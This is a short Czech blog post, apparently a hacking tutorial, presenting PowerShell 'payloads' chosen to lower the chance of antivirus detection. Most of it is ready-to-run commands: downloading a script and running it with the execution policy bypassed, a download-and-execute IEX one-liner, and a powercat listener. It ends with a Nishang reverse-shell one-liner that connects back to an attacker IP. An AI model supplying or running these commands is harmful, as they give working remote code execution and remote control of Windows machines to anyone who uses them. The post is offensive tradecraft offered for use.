PowerShell jednoduché a užitečné payloady
Někdy může být výhodné při hackingu v prostředí MS
Windows využít powershell. PowerShell je efektivní skriptovací jazyk a jeho
použití snižuje pravděpodobnost detekce payloadu antivirem.
Začneme tím nejjednodušším. Otestujeme, jestli je PowerShell
k dispozici.
PowerShell -Command "Write-Host 'Hello World'"
Při pohybu po cílovém systému nejčastěji potřebujeme
stáhnout soubor, otevřít port, připojit reverzní shell, spustit proces.
Elegantní stažení souboru můžeme provést pomocí PowerShell
Wget. Je to ve skutečnosti alias Invoke-WebRequest. Na některý starších
systémech to nemusí fungovat.
PowerShell -c wget
"http://10.10.33.244:8080/Hello-World.ps1" -outfile
"Hello-World.ps1"
PowerShell -ExecutionPolicy Bypass -File Hello-World.ps1
Stává se, že potřebujeme soubor stáhnout a hned spustit. Nejprve
upravíme náš skript a kód obalíme funkcí.
function Hello-World-2
{
Write-Host 'Hello, World!'
}
Pak už můžeme spustit:
C:\Users\WDAGUtilityAccount>powershell
"IEX(New-Object
Net.WebClient).DownloadString('http://10.10.33.244:8080/Hello-World-2.ps1');Hello-World-2"
A teď když jsme si ukázali základní principy, už může jít k
něčemu zajímavějšímu. Na GitHubu můžeme najít spoustu užitečných skriptu. My se
podíváme na framework Nishang a použijeme reverzní shell. Ještě předtím, ale
musíme připravit obsluhu připojení tzv. handler nebo jednoduchý C&C seerver.
Klasika je NetCat, a když už jsme v Powershelu tak použijeme modifikaci
PowerCat.
Spuštění handleru - PowerCat
PowerShell -c wget "https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1”
-outfile powercat.ps1
C:\Users\WDAGUtilityAccount>powershell
-ep bypass
Windows
PowerShell
Copyright
(C) Microsoft Corporation. All rights reserved.
Try the
new cross-platform PowerShell https://aka.ms/pscore6
PS
C:\Users\WDAGUtilityAccount> . .\powercat.ps1
PS
C:\Users\WDAGUtilityAccount> powercat -l -p 2323 -t 3600
Nyní je
handler připraven a připojíme reverzní shell
C:\>powershell "IEX(New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
-Reverse -IPAddress 172.27.129.121 -Port 2323"
A voila
máme připojenou session přes reverzní shell
Linky
https://github.com/samratashok/nishang
https://github.com/besimorhino/powercat
https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.2
Komentáře
Okomentovat